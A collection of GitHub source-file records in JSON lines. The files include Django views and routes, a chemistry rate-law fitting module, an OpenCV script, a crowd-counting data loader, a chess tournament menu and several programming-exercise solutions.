{"seq_id":"27307358224","text":"from django.urls import path\nfrom .views import GetProfile, RegisterView, LoginView, VerifyEmail\n\nurlpatterns = [\n    path('register/', RegisterView.as_view()),\n    path('login/', LoginView.as_view()),\n    path('profile/', GetProfile.as_view()),\n    path('verify_email/', VerifyEmail.as_view())\n\n]\n\n","repo_name":"lovegroa/Project-4","sub_path":"Server/jwt_auth/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74919947621","text":"from distutils.core import setup\nfrom distutils.extension import Extension\nfrom Cython.Distutils import build_ext\nimport numpy\n\n\next_modules = [Extension(\n        \"NormalEstimatorHough\",\n        sources=[\"NormalEstimatorHough.pyx\", \"normEstHough.cxx\"],\n        include_dirs=[numpy.get_include(), \"../third_party_includes/\"],\n        language=\"c++\",             # generate C++ code\n        extra_compile_args = [\"-fopenmp\", \"-std=c++11\"],\n        extra_link_args=['-lgomp']\n  )]\n\nsetup(\n    name = \"Hough Normal Estimator\",\n    ext_modules = ext_modules,\n    cmdclass = {'build_ext': build_ext},\n)\n","repo_name":"YoungXIAO13/DepthToNormal","sub_path":"python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"35"}
{"seq_id":"73469325860","text":"#! /usr/bin/env python3\n# coding: utf-8\n\nfrom views import ShowMenu as sh_me\nfrom views import ShowPlayer as sh_pl\nfrom views import ShowTournament as sh_to\nfrom views import ShowSaveAndLoad as sh_sa\nfrom views import show_exit\n\nfrom controllers_supp.take_response_classes import FromMenu, FromTournament, FromPlayer, FromSaveAndLoad\n\n\ndef take_option(option=False):\n    \"\"\"take_option permet de récupérer l'input de l'utilisateur après lui avoir\n    montré ses choix. Si le programme se lance pour la première fois, take_option\n    est invoquée sans paramètre, ce qui montre le menu.\n    Si le programme est déjà lancé et qu'on réinvoque take_option, le paramètre\n    option sera un string ou une liste de strings fourni(s) par la fonction go_to_path\n    à la fin du programme, qui permet de naviguer entre les différents menus.\n    \"\"\"\n    if not option:\n        sh_me.show_menu()\n        new_option = input()\n        menu_dict = {1: \"Tournament\", 2: \"Player\", 3: \"Actualize_rank\", 4: \"SaveAndLoad\", 5: \"Quit\"}\n        if new_option not in [\"1\", \"2\", \"3\", \"4\", \"5\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option()\n        else:\n            new_option = int(new_option)\n            path = menu_dict[new_option]\n            return [\"Menu\", path]\n\n    # Si l'on veut aller dans le MENU\n    elif option == \"Menu\":\n        sh_me.show_menu()\n        new_option = input()\n        menu_dict = {1: \"Tournament\", 2: \"Player\", 3: \"Actualize_rank\", 4: \"SaveAndLoad\", 5: \"Quit\", 42: \"admin\"}\n        if new_option not in [\"1\", \"2\", \"3\", \"4\", \"5\", \"42\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = menu_dict[new_option]\n            return [\"Menu\", path]\n\n    # Si l'on veut aller dans la CREATION DE TOURNOI\n    elif option == \"Tournament_menu\":\n        sh_to.show_tournament()\n        tournament_menu_dict = {1: \"Create_tournament\", 2: \"Show_tournament_list\",\n                                3: \"Menu\", 4: \"SaveAndLoad\", 5: \"Quit\"}\n        new_option = input()\n        if new_option not in [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = tournament_menu_dict[new_option]\n            return [\"Tournament\", path]\n\n    elif option[0] == \"Create_matches\":\n        sh_to.show_create_matches(option[1])\n        create_tournament_dict = {1: \"Matches_result\", 2: \"Modify_tournament_info\", 3: \"Back_to_tournament_menu\"}\n        new_option = input()\n        if new_option not in [\"1\", \"2\", \"3\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = create_tournament_dict[new_option]\n            return [\"Tournament\", path, option[1]]\n\n    elif option == \"Tournament_list_choices\":\n        sh_to.show_tournaments_status_options()\n        tournaments_status_dict = {1: \"Select_tournament\", 2: \"Back_to_tournament_menu\",\n                                   3: \"SaveAndLoad\", 4: \"Quit\"}\n        new_option = input()\n        if new_option not in [\"1\", \"2\", \"3\", \"4\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = tournaments_status_dict[new_option]\n            return [\"Tournament\", path]\n\n    elif option[0] == \"Tournament_status_choices\":\n        chosen_tournament = option[1]\n        sh_to.show_tournament_status()\n        chosen_tournament_status_dict = {1: \"Show_rounds\", 2: \"Show_tournament_matches\",\n                                         3: \"Modify_tournament_info\", 4: \"Tournament_players_alphab\",\n                                         5: \"Tournament_players_ranked\", 6: \"Show_tournament_list\"}\n        new_option = input()\n        if new_option not in [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = chosen_tournament_status_dict[new_option]\n            return [\"Tournament\", path, chosen_tournament]\n\n    # Si on veut aller dans la CREATION DE JOUEUR\n    elif option == \"Player_menu\":\n        sh_pl.show_player()\n        player_menu_dict = {1: \"Create_player\", 2: \"Show_ranks\",\n                            3: \"Menu\", 4: \"SaveAndLoad\", 5: \"Quit\"}\n        new_option = input()\n        if new_option not in [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = player_menu_dict[new_option]\n            return [\"Player\", path]\n    elif option == \"Show_ranks_choices\":\n        sh_pl.show_ranks()\n        # possibilité de rajouter un défilement des joueurs\n        ranks_menu_dict = {1: \"See_player_info\", 2: \"Actualize_rank\", 3: \"Alphabetical_order\",\n                           4: \"Ranking_order\", 5: \"Player_Menu\"}\n        new_option = input()\n        if new_option not in [\"1\", \"2\", \"3\", \"4\", \"5\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = ranks_menu_dict[new_option]\n            return [\"Player\", path]\n\n    # Si l'on veut SAUVEGARDER ou CHARGER UNE SAUVEGARDE\n    elif option == \"SaveAndLoad_menu\":\n        sh_sa.show_save_and_load()\n        SaveAndLoad_menu_dict = {1: \"New_save\", 2: \"Load_save\", 3: \"Menu\", 4: \"Quit\"}\n        new_option = input()\n        if new_option not in [\"1\", \"2\", \"3\", \"4\"]:\n            print(\"Veuillez uniquement entrer une des options proposées\")\n            take_option(option)\n        else:\n            new_option = int(new_option)\n            path = SaveAndLoad_menu_dict[new_option]\n            return [\"SaveAndLoad\", path]\n\n    else:\n        print(\"Navigation not found\")\n        pass\n\n#########################################\n#########################################\n\n\ndef go_to_path(response):\n    \"\"\"go_to_path permet de naviguer entre les menus à partir du résultat de take_option.\n    Response est une liste constituée de deux à trois strings, le 1er string indique\n    d'où l'on vient, le 2e string indique vers quel menu on veut aller, le 3e string\n    peut indiquer le nom d'un tournoi. Chaque Menu comporte une Classe, possédant une\n    méthode, take_response, qui permet de réduire la longueur totale de go_to_path en en\n    séparant la logique.\n    \"\"\"\n    if response[0] and response[1]:\n        if response[1] == \"Quit\":\n            # Faudrait aussi que vérifie qu'a bien sauvegardé non?\n            show_exit()\n            sure = input()\n            while sure not in [\"1\", \"2\"]:\n                print(\"Veuillez uniquement entrer une des options proposées\")\n                go_to_path(response)\n            if sure == \"1\":\n                quit()\n            elif sure == \"2\":\n                return \"Menu\"\n        if response[0] == \"Menu\":\n            return FromMenu.take_response(response)\n        if response[0] == \"Tournament\":\n            return FromTournament.take_response(response)\n        if response[0] == \"Player\":\n            return FromPlayer.take_response(response)\n        if response[0] == \"SaveAndLoad\":\n            return FromSaveAndLoad.take_response(response)\n    else:\n        print('!!! No path nor option number provided !!!')\n        quit()\n\n\n#########################################\n#########################################\n\n# LA BOUCLE NORMALE SANS AIDE AU DEBUGGAGE\ndef main():\n    \"\"\"La fonction main consiste essentiellement à afficher des choix à\n    l'utilisateur, pour ensuite récupérer son input avec take_option().\n    On utilisera ensuite son input pour naviguer dans les menus du\n    programme avec go_to_path pour ensuite lui proposer à nouveau d'autres\n    choix.\n    Cette boucle s'arrêtera avec l'arrêt du programme si l'utilisateur\n    l'indique dans ses choix où si le programme reçoit une commande inconnue.\n    \"\"\"\n    first_input = take_option()\n    new_input = go_to_path(first_input)\n    while True:\n        new_option = take_option(new_input)\n        new_input = go_to_path(new_option)\n\n\n# UNE BOUCLE ALTERNATIVE CHARGEANT 10 JOUEURS\n\n# import model as md\n\n# def main():\n\n#     player1 = md.Player(\"John\", \"Doe\", \"12/01/1930\", \"M\")\n#     player2 = md.Player(\"Jane\", \"Doe\", \"17/04/1926\", \"F\")\n#     player3 = md.Player(\"Jojo\", \"Rabbit\", \"19/04/1928\", \"M\")\n#     player4 = md.Player(\"Joselaine\", \"Dabit\", \"20/04/1922\", \"F\")\n#     player5 = md.Player(\"Polo\", \"LePolo\", \"11/06/1815\", \"M\")\n#     player6 = md.Player(\"Carabine\", \"LeCarabin\", \"16/05/1982\", \"M\")\n#     player7 = md.Player(\"Canelle\", \"Doublekick\", \"12/11/1956\", \"F\")\n#     player8 = md.Player(\"Gaelle\", \"Belle\", \"12/11/1965\", \"M\")\n#     player9 = md.Player(\"Frederic\", \"Entic\", \"11/05/1980\", \"M\")\n#     player10 = md.Player(\"Courge\", \"Jambonne\", \"05/10/1927\", \"F\")\n\n#     new_option = take_option()\n#     new_input = go_to_path(new_option)\n#     while True:\n#         new_option = take_option(new_input)\n#         if new_option[1] == \"admin\":\n#             break\n#         new_input = go_to_path(new_option)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"FuzzyParrabellum/OpenCP4","sub_path":"main_controller.py","file_name":"main_controller.py","file_ext":"py","file_size_in_byte":9516,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16933752432","text":"from decimal import Decimal\n\ns = set()\n\n\ndef rotate(n):\n    n = Decimal(n)\n    for i in range(1, int(n)+1):\n        s.add(n/i)\n    for j in range(0, int(n)):\n        s.add(j/n)\n\n\nt = int(input())\nresult = [0]*t\nqry = []\nfor i in range(t):\n    qry.append((Decimal(input()), i))\nqry.sort()\n\nlq, li = qry[0]\nfor i in range(1, int(lq)+1):\n    rotate(i)\nresult[li] = 1 + len(s)\n\nfor w in range(1, t):\n    nq, ni = qry[w]\n    for i in range(int(lq)+1, int(nq)+1):\n        rotate(i)\n    result[ni] = 1 + len(s)\n    lq, li = nq, ni\n\nprint(*result, sep='\\n')\n","repo_name":"Seungwuk98/TIL","sub_path":"PS/nCk/2725BOJ_visible_point.py","file_name":"2725BOJ_visible_point.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37994728144","text":"def has_sum_pair(arr, target):\n    seen_numbers = set()\n\n    for num in arr:\n        complement = target - num\n        if complement in seen_numbers:\n            return True\n        seen_numbers.add(num)\n\n    return False\n\n# Exemplo de uso\narray = [1, 15, 2, 7, 2, 5, 7, 1, 4]\ntarget_value = int(input(\"Digite o valor alvo (X): \"))\n\nresult = has_sum_pair(array, target_value)\n\nprint(f\"Existe uma combinação de soma para {target_value}: {result}\")\n","repo_name":"bruno-dare/exercicios-datacake","sub_path":"pergunta3.py","file_name":"pergunta3.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18048628401","text":"__author__ = \"V.A. Sole - ESRF Data Analysis\"\n__contact__ = \"sole@esrf.fr\"\n__license__ = \"MIT\"\n__copyright__ = \"European Synchrotron Radiation Facility, Grenoble, France\"\n\nimport numpy\nfrom numpy.linalg import inv\nimport sys\n\ndef linregress(x, y, sigmay=None, full_output=False):\n    \"\"\"\n    Linear fit to a straight line following P.R. Bevington:\n    \n    \"Data Reduction and Error Analysis for the Physical Sciences\"\n\n    Parameters\n    ----------\n    x, y : array_like\n        two sets of measurements.  Both arrays should have the same length.\n\n    sigmay : The uncertainty on the y values\n        \n    Returns\n    -------\n    slope : float\n        slope of the regression line\n    intercept : float\n        intercept of the regression line\n    r_value : float\n        correlation coefficient\n\n    if full_output is true, an additional dictionary is returned with the keys\n\n    sigma_slope: uncertainty on the slope\n\n    sigma_intercept: uncertainty on the intercept\n\n    stderr: float\n        square root of the variance\n    \n    \"\"\"\n    x = numpy.asarray(x, dtype=numpy.float64).flatten()\n    y = numpy.asarray(y, dtype=numpy.float64).flatten()\n    N = y.size\n    if sigmay is None:\n        sigmay = numpy.ones((N,), dtype=y.dtype)\n    else:\n        sigmay = numpy.asarray(sigmay, dtype=numpy.float64).flatten()\n    w = 1.0 / (sigmay * sigmay + (sigmay == 0))\n\n    n = S = w.sum()\n    Sx = (w * x).sum()\n    Sy = (w * y).sum()    \n    Sxx = (w * x * x).sum()\n    Sxy = ((w * x * y)).sum()\n    Syy = ((w * y * y)).sum()\n    # SSxx is identical to delta in Bevington book\n    delta = SSxx = (S * Sxx - Sx * Sx)\n\n    tmpValue = Sxx * Sy - Sx * Sxy\n    intercept = tmpValue / delta\n    SSxy = (S * Sxy - Sx * Sy)\n    slope = SSxy / delta\n    sigma_slope = numpy.sqrt(S /delta)\n    sigma_intercept = numpy.sqrt(Sxx / delta)\n\n    SSyy = (n * Syy - Sy * Sy)\n    r_value = SSxy / numpy.sqrt(SSxx * SSyy)\n    if r_value > 1.0:\n        r_value = 1.0\n    if r_value < -1.0:\n        r_value = -1.0\n\n    if not full_output:\n        return slope, intercept, r_value\n\n    ddict = {}\n    # calculate the variance\n    if N < 3:\n        variance = 0.0\n    else:\n        variance = ((y - intercept - slope * x) ** 2).sum() / (N - 2)\n    ddict[\"variance\"] = variance\n    ddict[\"stderr\"] = numpy.sqrt(variance)\n    ddict[\"slope\"] = slope\n    ddict[\"intercept\"] = intercept\n    ddict[\"r_value\"] = r_value\n    ddict[\"sigma_intercept\"] = numpy.sqrt(Sxx / SSxx)\n    ddict[\"sigma_slope\"] = numpy.sqrt(S / SSxx)\n    return slope, intercept, r_value, ddict\n    \ndef rateLaw(x, y, sigmay=None, order=None, xmin=None, ymin=None, xmax=None, ymax=None):\n    \"\"\"\n    Perform a fit to y following the specified rate law order\n\n    If xmin is not None, x values will be modified by subtraction/addition to\n    match the desired xmin.\n\n    If xmax is not None, x values will be divided by their maximum value and\n    multiplied by yxax\n\n    If ymin is not None, y values will be modified by subtraction/addition to\n    match the desired ymin.\n\n    If ymax is not None, y values will be divided by the maximum value and\n    multiplied by ymax\n    \"\"\"\n\n    x = numpy.asarray(x, dtype=numpy.float64).flatten()\n    y = numpy.asarray(y, dtype=numpy.float64).flatten()\n\n    if xmin is not None:\n        x = x - x.min() + xmin\n\n    if ymin is not None:\n        y = y - y.min() + ymin\n\n    if xmax is not None:\n        x = xmax * (x /x.max())\n\n    if ymax is not None:\n        y = ymax * (y /y.max())\n\n    # we are going to perform a linear fit using different\n    # transformations as function of the requested order.\n    ddict = {}\n    if order is None:\n        orderList = [0, 1, 2]\n    else:\n        orderList = [order]\n    labels = [\"zero\", \"first\", \"second\"]\n    for orderNumber in orderList:\n        label = labels[orderNumber]\n        ddict[\"order\"] = label\n        if label == \"zero\":\n            # [A] = [A]0 - kt\n            yw = y\n            xw = x\n        elif label == \"first\":\n            # [A] = [A]0 exp(-kt)\n            # or\n            # ln([A]) = ln([A]0) - kt\n            idx = y > 0\n            yw = numpy.log(y[idx])\n            xw = x[idx]\n        elif label == \"second\":\n            # 1/[A] = 1/[A]0 + kt\n            idx = (y != 0)\n            yw = 1 / y[idx]\n            xw = x[idx]\n        else:\n            raise ValueError(\"Unknown rate law order %s\" % order)\n        if yw.size < 2:\n            # we cannot perform a linear fit with less than two points\n            ddict[label] = None\n        else:\n            slope, intercept, r, full = linregress(xw, yw, full_output=True)\n            ddict[label] = full\n            ddict[label][\"x\"] = xw\n            ddict[label][\"y\"] = yw\n    if len(orderList) == 1:\n        return slope, intercept, r\n    else:\n        return ddict\n\ndef main(argv=None):\n    if argv is None:\n        # first order, k = 4.820e-04\n        x = [0, 600, 1200, 1800, 2400, 3000, 3600]\n        y = [0.0365, 0.0274, 0.0206, 0.0157, 0.0117, 0.00860, 0.00640]\n        order = \"First\"\n        slope = \"0.000482\"\n        print(\"Expected order: First\")\n        print(\"Expected slope: 0.000482\")\n        sigmay = None\n        # second order, k = 1.3e-02\n        #x = [0, 900, 1800, 3600, 6000]\n        #y = [1.72e-2, 1.43e-2, 1.23e-2, 9.52e-3, 7.3e-3]        \n        #order = \"second\"\n        #slope = \"0.013\"\n    elif len(argv) > 1:\n        # assume we have got a two column csv file\n        data = numpy.loadtxt(argv[1])\n        x = data[:, 0]\n        y = data[:, 1]\n        if data.shape[1] > 2:\n            sigmay = data[:, 2]\n        else:\n            sigmay = None\n    else:\n        print(\"RateLaw [csv_file_name]\")\n        return\n    result = rateLaw(x, y, sigmay = sigmay)\n    labels = [\"Zero\", \"First\", \"Second\"]\n    for key in labels:\n        print(key + \" Order\")\n        print(\"Interceptt = \", result[key.lower()][\"intercept\"])\n        print(\"Slope = \", result[key.lower()][\"slope\"])\n        print(\"r value = \", result[key.lower()][\"r_value\"])\n        print(\"stderr = \", result[key.lower()][\"stderr\"])\n\nif __name__ == \"__main__\":\n    main(sys.argv)\n","repo_name":"vasole/pymca","sub_path":"PyMca5/PyMcaMath/fitting/RateLaw.py","file_name":"RateLaw.py","file_ext":"py","file_size_in_byte":6066,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"35"}
{"seq_id":"39379125877","text":"import numpy as np\nimport cv2\n\nim = cv2.imread('plus.png')\nrow, col= im.shape[:2]\nbottom= im[row-2:row, 0:col]\nmean= cv2.mean(bottom)[0]\n\nbordersize=20\nborder=cv2.copyMakeBorder(im, top=bordersize, bottom=bordersize, left=bordersize, right=bordersize, borderType= cv2.BORDER_CONSTANT, value=[mean,mean,mean] )\n\ncv2.imshow('image',im)\ncv2.imshow('bottom',bottom)\ncv2.imshow('border',border)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"ashiqrobin/Image_Based_Calculator_Application","sub_path":"addBorder.py","file_name":"addBorder.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"21193512809","text":"import json\nimport logging\nfrom datetime import datetime\n\nfrom django.http import HttpResponse\nfrom django.views import generic as generic_views\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_http_methods\nfrom google.appengine.ext.db import to_dict\n\nfrom ecoTravel.backend.models import TravelType, Journey, Point\nfrom ecoTravel.user.models import User\nfrom ecoTravel.context_processors import save_to_database\nfrom libs import pytz\n\n\nclass JourneyMap(generic_views.TemplateView):\n    template_name = 'journey_map.html'\n\n    def get(self, request, *args, **kwargs):\n        return super(JourneyMap, self).get(request, *args, **kwargs)\n\n    def get_context_data(self, **kwargs):\n        context = super(JourneyMap, self).get_context_data(**kwargs)\n        journey = Journey.get_by_id(long(kwargs['journey_id']))\n        points = Point.all().filter('journey', journey)\n        if points.count() > 0:\n            context.update({\n                'journey_points': points.order('-time'),\n            })\n        return context\n\n\nclass GetTravelTypes(generic_views.View):\n    def get(self, request, *args, **kwargs):\n        \"\"\"\n        :return: json\n        \"\"\"\n        save_to_database()\n        response = {}\n        if 'travel_type' in kwargs:\n            # If travel type exists return only average co2 produce\n            travel_type = TravelType.all().filter('name', kwargs['travel_type'].capitalize())\n            if travel_type.count() > 0:\n                response = to_dict(travel_type.get())\n        else:\n            for travel_type in TravelType.all():\n                response[travel_type.name] = travel_type.co2_exhausts\n\n        logging.info('Getting travel types')\n        return HttpResponse(json.dumps(response), content_type=\"application/json\")\n\n@require_http_methods('POST')\n@csrf_exempt\ndef JourneyBatch(request):\n    user = User.all().filter('facebook_id', request.session['facebook_id']).get()\n\n    for point in json.loads(request.body):\n        # Date sent\n        date = datetime.fromtimestamp(int(point['date'])).replace(tzinfo=pytz.UTC)\n        if 'journey' in point:\n            if point['journey'] != 'Stop':\n                journey = Journey(\n                    user=user,\n                    travel_type=TravelType.all().filter('name', point['journey']).get(),\n                    start_date=date\n                )\n                journey.put()\n                logging.info('Journey started for ' + point['journey'])\n                user.active_trip_id = journey.key().id()\n            else:\n                logging.info('Journey ended')\n                journey = Journey.get_by_id(user.active_trip_id)\n                journey.end_date = date\n                journey.put()\n                # Remove active trip\n                user.active_trip_id = -1\n            user.put()\n\n        elif 'distance' in point and user.active_trip_id != -1:\n            # Get the current journey and save point\n            Point(\n                journey=Journey.get_by_id(user.active_trip_id),\n                latitude=float(point['x']),\n                longitude=float(point['y']),\n                speed=float(point['speed']),\n                time=date,\n                distance=float(point['distance'])\n            ).put()\n    return HttpResponse()","repo_name":"premik91/ecoTravel","sub_path":"gae-ecoTravel/ecoTravel/backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22507158169","text":"import xlrd\r\nfrom xlsxwriter.utility import xl_rowcol_to_cell\r\n\r\nworkbook = xlrd.open_workbook(r\"선번장_테스트.xlsx\")\r\nprint(\"sheet 개수:\", workbook.nsheets)\r\n\r\nsheets = workbook.sheets()\r\n\r\nsheet = sheets[0]\r\nprint(\"sheet name:\", sheet.name)\r\n\r\ncell = sheet.cell(0, 0)\r\n\r\nprint(\"cell:\", cell)\r\nprint(\"cell_value:\", cell.value)\r\n\r\nprint(\"row size:\", sheet.nrows)\r\nprint(\"col size:\", sheet.ncols)\r\n\r\nprint(\"cell_name(0,0):\", xl_rowcol_to_cell(0, 0))\r\n\r\nsearch_text = \"02018878-0009\"\r\nprint(\"문자열 찾기: \", search_text)\r\nfor row in range(sheet.nrows):\r\n    for col in range(sheet.ncols):\r\n        cell = sheet.cell(row, col)\r\n        if search_text in str(cell.value):\r\n            sheet_name = sheet.name\r\n            cell_name = xl_rowcol_to_cell(row, col)\r\n            cell_value = cell.value\r\n            print(sheet_name, cell_name, cell_value)\r\n","repo_name":"hermi99/python_study","sub_path":"my_work/excel_finder/testcode/엑셀_내용찾기_테스트.py","file_name":"엑셀_내용찾기_테스트.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22540417213","text":"# -*- coding: utf-8 -*-\nimport allspark\nfrom models.model_config import ESIMConfig\nfrom models.model import ESIM\nfrom utils.load_data import char_index\nimport tensorflow as tf\n\n\nclass MyProcessor(allspark.BaseProcessor):\n    \"\"\" MyProcessor is a example\n        you can send mesage like this to predict\n        curl -v http://127.0.0.1:8080/api/predict/service_name -d '2 105'\n    \"\"\"\n\n    def initialize(self):\n        \"\"\" load module, executed once at the start of the service\n         do service intialization and load models in this function.\n        \"\"\"\n        self.model_config = ESIMConfig()\n        self.model = ESIM(self.model_config).get_model()\n        self.model.load_weights('saved_models/esim_LCQMC_32_LSTM_0715_1036.h5')\n        self.model._make_predict_function()\n        global graph\n        graph = tf.get_default_graph()\n\n    def pre_proccess(self, data):\n        \"\"\" data format pre process\n        \"\"\"\n        x, y = data.split(b' ')\n        #print(str(x), str(y))\n        x, y = char_index([str(x, encoding=\"utf-8\")], [str(y, encoding=\"utf-8\")])\n        # x, y = char_index([x], [y])\n        return x, y\n\n    def post_process(self, data):\n        \"\"\" proccess after process\n        \"\"\"\n        return str(data).encode()\n\n    def process(self, data):\n        \"\"\" process the request data\n        \"\"\"\n\n        x, y = self.pre_proccess(data)\n        global graph\n        with graph.as_default():\n            y_pred = self.model.predict([x, y]).item()\n\n        # y_pred = 0\n\n        return float(y_pred), 0\n\n\nif __name__ == '__main__':\n    # parameter worker_threads indicates concurrency of processing\n    runner = MyProcessor(worker_threads=10)\n    runner.run()\n","repo_name":"enningxie/PAI-EAS-Tutorial","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"69932688422","text":"# -*- coding:utf-8 -*-\nimport numpy as np\nimport pandas as pd\nimport cv2\nimport os\nimport sys\n\n\nclass DataLoader(object):\n    def __init__(self, data_path, gt_path, shuffle=False, gt_downsample=False, num_classes=10):\n        self.data_path = data_path\n        self.gt_path = gt_path\n        self.shuffle = shuffle\n        self.gt_downsample = gt_downsample\n        self.num_classes = num_classes\n        self.data_files = [filename for filename in os.listdir(data_path)]\n        self.num_samples = len(self.data_files)\n        self.blob_list = []\n        self.max_gt_count = 0\n        self.min_gt_count = sys.maxsize\n        self.bin = 0\n        self.count_class_hist = np.zeros(num_classes)\n\n    def load_all(self):\n        \"\"\"\n        一次性加载所有数据\n        :return:\n                X, 图片数组, shape(num_samples, h, w, 1);\n                Y_den, 密度图GT, shape(num_samples, h, w, 1);\n                Y_count, 类别GT, shape(num_samples, num_classes)\n        \"\"\"\n        print('[INFO] Loading data, wait a moment...')\n        for i, fname in enumerate(self.data_files, 1):\n            img = cv2.imread(os.path.join(self.data_path, fname), 0)\n            img = img.astype(np.float32, copy=False)\n            ht = img.shape[0]\n            wd = img.shape[1]\n            ht_1 = ht // 4 * 4\n            wd_1 = wd // 4 * 4\n            img = cv2.resize(img, (wd_1, ht_1))\n            img = img.reshape((img.shape[0], img.shape[1], 1))\n            den = pd.read_csv(os.path.join(self.gt_path, os.path.splitext(fname)[0] + '.csv'),\n                              header=None).values\n            den = den.astype(np.float32, copy=False)\n            if self.gt_downsample:\n                wd_1 = wd_1 // 4\n                ht_1 = ht_1 // 4\n            den = cv2.resize(den, (wd_1, ht_1))\n            den = den * ((wd * ht) / (wd_1 * ht_1))\n            den = den.reshape((den.shape[0], den.shape[1], 1))\n            gt_count = np.sum(den)\n            self.min_gt_count = min(self.min_gt_count, gt_count)\n            self.max_gt_count = max(self.max_gt_count, gt_count)\n            blob = dict()\n            blob['data'] = img\n            blob['gt_den'] = den\n            blob['gt_count'] = gt_count\n            blob['fname'] = fname\n            self.blob_list.append(blob)\n\n            if i % 100 == 0:\n                print('Loaded {}/{} files'.format(i, self.num_samples))\n        print('[INFO] Completed loading {} files.'.format(i))\n\n        self.assign_classes()  # 设置图片类别\n        if self.shuffle:\n            np.random.shuffle(self.blob_list)\n        X = np.array([blob['data'] for blob in self.blob_list])\n        Y_den = np.array([blob['gt_den'] for blob in self.blob_list])\n        Y_class = np.array([blob['gt_class'] for blob in self.blob_list])\n        return X, Y_den, Y_class\n\n    def assign_classes(self):\n        \"\"\"\n        设置图片gt类别\n        \"\"\"\n        self.bin = (self.max_gt_count - self.min_gt_count) / self.num_classes\n        for blob in self.blob_list:\n            gt_class = np.zeros(self.num_classes, dtype=np.int32)\n            idx = np.round(blob['gt_count'] / self.bin)\n            idx = int(min(idx, self.num_classes-1))\n            gt_class[idx] = 1\n            blob['gt_class'] = gt_class\n            self.count_class_hist[idx] += 1\n\n    def get_class_weights(self):\n        \"\"\"\n        根据每类的样本数量对每一类设置权重（可在训练期间让模型更多关注样本较少的类别）\n        \"\"\"\n        class_weights = 1 - self.count_class_hist / self.num_samples\n        class_weights = class_weights / self.num_samples\n        return class_weights\n\n    def flow(self, batch_size=32):\n        loop_count = self.num_samples // batch_size\n        while True:\n            np.random.shuffle(self.blob_list)\n            for i in range(loop_count):\n                blobs = self.blob_list[i*batch_size: (i+1)*batch_size]\n                X = np.array([blob['data'] for blob in blobs])\n                Y_den = np.array([blob['gt_den'] for blob in blobs])\n                X, Y_den = self.random_augment(X, Y_den)  # 随机增广\n                Y_class = np.array([blob['gt_class'] for blob in blobs])\n                yield X, Y_den, Y_class\n\n    @staticmethod\n    def random_augment(imgs, gts):\n        \"\"\"随机增广\"\"\"\n        imgs_aug = []\n        gts_aug = []\n        for img, gt in zip(imgs, gts):\n            if np.random.uniform() > 0.5:\n                # 随机翻转图片以及density map\n                img = np.flip(img, 2).copy()\n                gt = np.flip(gt, 2).copy()\n            if np.random.uniform() > 0.5:\n                # 加入随机噪音\n                img = img + np.random.uniform(-10, 10, size=img.shape)\n            imgs_aug.append(img)\n            gts_aug.append(gt)\n        return np.array(imgs_aug), np.array(gts_aug)\n\n    def __iter__(self):\n        for blob in self.blob_list:\n            yield blob\n","repo_name":"ybcc2015/CrowdCounting-CMTL","sub_path":"utils/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":4920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71512293541","text":"def ex(x):\n    while x%2==0 and x>2:\n        x/=2\n    if x==2:\n        return 0\n    else:\n        return 1\na,b,c = map(int, input().split())\ncount = 0\nif not ex(a)==ex(b)==ex(c)==0:\n    while a%2==0 and b%2==0 and c%2==0:\n        temp_a = a\n        temp_b = b\n        temp_c = c\n        a = temp_b/2 + temp_c/2\n        b = temp_a/2 + temp_c/2\n        c = temp_a/2 + temp_b/2\n        count+=1\n        if ex(a)==ex(b)==ex(c)==0 or a==b==c:\n            count = -1\n            break\n    print(count)\nelse:\n    print(\"-1\")","repo_name":"atososon/AtCoder","sub_path":"atcoder.jp/agc014/agc014_a/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
